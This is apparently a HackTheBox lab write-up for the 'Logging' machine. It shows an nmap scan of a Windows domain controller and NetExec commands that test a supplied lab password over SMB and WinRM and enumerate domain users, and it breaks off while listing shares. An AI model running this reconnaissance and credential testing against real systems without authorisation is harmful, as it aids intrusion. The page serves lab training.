> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/medium/logging.md). # Logging {% code overflow="wrap" %} ``` wallace.everette / Welcome2026@ ``` {% endcode %} {% code overflow="wrap" %} ``` # Nmap 7.99 scan initiated Sun Apr 19 06:05:38 2026 as: /usr/lib/nmap/nmap --privileged -A -sC -sV -vv -oN nop.txt 10.129.32.107 Nmap scan report for 10.129.32.107 Host is up, received reset ttl 127 (0.15s latency). Scanned at 2026-04-19 06:05:38 EDT for 81s Not shown: 987 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-19 17:05:57Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-19T17:07:04+00:00; +7h00m05s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging | Issuer: commonName=logging-DC01-CA/domainComponent=logging | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-04-17T03:20:01 | Not valid after: 2106-04-17T03:20:01 | MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b | SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7 | SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93 | -----BEGIN CERTIFICATE----- | MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF | ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu | ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx | MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA | s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf | AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw | DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW | eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH | 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi | +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh | KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr | MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV | HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF | BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw | Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN | BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D | QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD | Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl | cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0 | cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh | bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl | eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n | Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp | ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0 | YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw | NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze | ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R | yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ | mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC | c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB | WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM | wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF | P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp | S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57 | 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn | jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH | xmZv2ZLKHnzHY9YT |_-----END CERTIFICATE----- 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-19T17:07:04+00:00; +7h00m05s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging | Issuer: commonName=logging-DC01-CA/domainComponent=logging | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-04-17T03:20:01 | Not valid after: 2106-04-17T03:20:01 | MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b | SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7 | SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93 | -----BEGIN CERTIFICATE----- | MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF | ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu | ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx | MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA | s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf | AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw | DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW | eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH | 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi | +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh | KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr | MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV | HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF | BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw | Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN | BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D | QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD | Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl | cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0 | cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh | bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl | eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n | Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp | ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0 | YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw | NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze | ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R | yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ | mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC | c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB | WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM | wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF | P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp | S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57 | 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn | jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH | xmZv2ZLKHnzHY9YT |_-----END CERTIFICATE----- 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging | Issuer: commonName=logging-DC01-CA/domainComponent=logging | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-04-17T03:20:01 | Not valid after: 2106-04-17T03:20:01 | MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b | SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7 | SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93 | -----BEGIN CERTIFICATE----- | MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF | ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu | ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx | MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA | s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf | AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw | DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW | eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH | 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi | +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh | KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr | MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV | HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF | BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw | Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN | BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D | QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD | Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl | cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0 | cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh | bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl | eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n | Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp | ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0 | YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw | NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze | ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R | yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ | mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC | c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB | WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM | wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF | P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp | S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57 | 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn | jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH | xmZv2ZLKHnzHY9YT |_-----END CERTIFICATE----- |_ssl-date: 2026-04-19T17:07:04+00:00; +7h00m05s from scanner time. 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging | Issuer: commonName=logging-DC01-CA/domainComponent=logging | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-04-17T03:20:01 | Not valid after: 2106-04-17T03:20:01 | MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b | SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7 | SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93 | -----BEGIN CERTIFICATE----- | MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF | ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu | ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx | MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA | s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf | AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw | DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW | eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH | 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi | +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh | KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr | MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV | HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF | BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw | Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN | BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D | QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD | Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl | cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0 | cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh | bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl | eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n | Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp | ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0 | YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw | NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze | ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R | yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ | mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC | c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB | WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM | wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF | P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp | S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57 | 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn | jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH | xmZv2ZLKHnzHY9YT |_-----END CERTIFICATE----- |_ssl-date: 2026-04-19T17:07:04+00:00; +7h00m05s from scanner time. 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=4/19%OT=53%CT=1%CU=38059%PV=Y%DS=2%DC=T%G=Y%TM=69E4A94 OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS= OS:U)SEQ(SP=105%GCD=1%ISR=100%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=106%GCD=1%ISR OS:=10A%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=109%GCD=1%ISR=109%TI=I%CI=I%II=I%SS OS:=S%TS=U)SEQ(SP=F8%GCD=1%ISR=110%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M552NW8N OS:NS%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS)WIN(W OS:1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF% OS:O=M552NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R= OS:N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U OS:1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF OS:I=N%T=80%CD=Z) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 25021/tcp): CLEAN (Couldn't connect) | Check 2 (port 24135/tcp): CLEAN (Couldn't connect) | Check 3 (port 48542/udp): CLEAN (Timeout) | Check 4 (port 28183/udp): CLEAN (Failed to receive data) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-time: | date: 2026-04-19T17:06:54 |_ start_date: N/A |_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 149.96 ms 10.10.14.1 2 152.21 ms 10.129.32.107 Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Apr 19 06:06:59 2026 -- 1 IP address (1 host up) scanned in 81.76 seconds ``` {% endcode %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs] └─$ nxc smb 10.129.32.107 -u wallace.everette -p 'Welcome2026@' SMB 10.129.32.107 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.32.107 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@ ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs] └─$ nxc winrm 10.129.32.107 -u wallace.everette -p 'Welcome2026@' WINRM 10.129.32.107 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 10.129.32.107 5985 DC01 [-] logging.htb\wallace.everette:Welcome2026@ ``` 
┌──(kali㉿kali)-[~/Eth3real/HTB/Labs]
└─$ nxc smb 10.129.32.107 -u wallace.everette -p 'Welcome2026@' --users
SMB         10.129.32.107   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.32.107   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@
SMB         10.129.32.107   445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.129.32.107   445    DC01             Administrator                 2026-04-16 14:41:53 0       Built-in account for administering the computer/domain
SMB         10.129.32.107   445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.129.32.107   445    DC01             krbtgt                        2026-04-16 14:47:15 0       Key Distribution Center Service Account
SMB         10.129.32.107   445    DC01             svc_recovery                  2026-04-16 23:09:49 0
SMB         10.129.32.107   445    DC01             jaylee.clifton                2026-04-16 23:09:49 0
SMB         10.129.32.107   445    DC01             monique.chip                  2026-04-16 23:09:49 0
SMB         10.129.32.107   445    DC01             kyson.abel                    2026-04-16 23:09:50 0
SMB         10.129.32.107   445    DC01             fable.milford                 2026-04-16 23:09:50 0
SMB         10.129.32.107   445    DC01             wellington.kylan              2026-04-16 23:09:50 0
SMB         10.129.32.107   445    DC01             serina.philander              2026-04-16 23:09:50 0
SMB         10.129.32.107   445    DC01             wallace.everette              2026-04-16 23:09:50 0
SMB         10.129.32.107   445    DC01             toby.brynleigh                2026-04-16 23:09:50 0
SMB         10.129.32.107   445    DC01             [*] Enumerated 12 local users: logging

┌──(kali㉿kali)-[~/Eth3real/HTB/Labs]
└─$ nxc smb 10.129.32.107 -u wallace.everette -p 'Welcome2026@' --shares
SMB         10.129.32.107   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.32.107   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@
SMB         10.129.32.107   445    DC01             [*] Enumerated shares
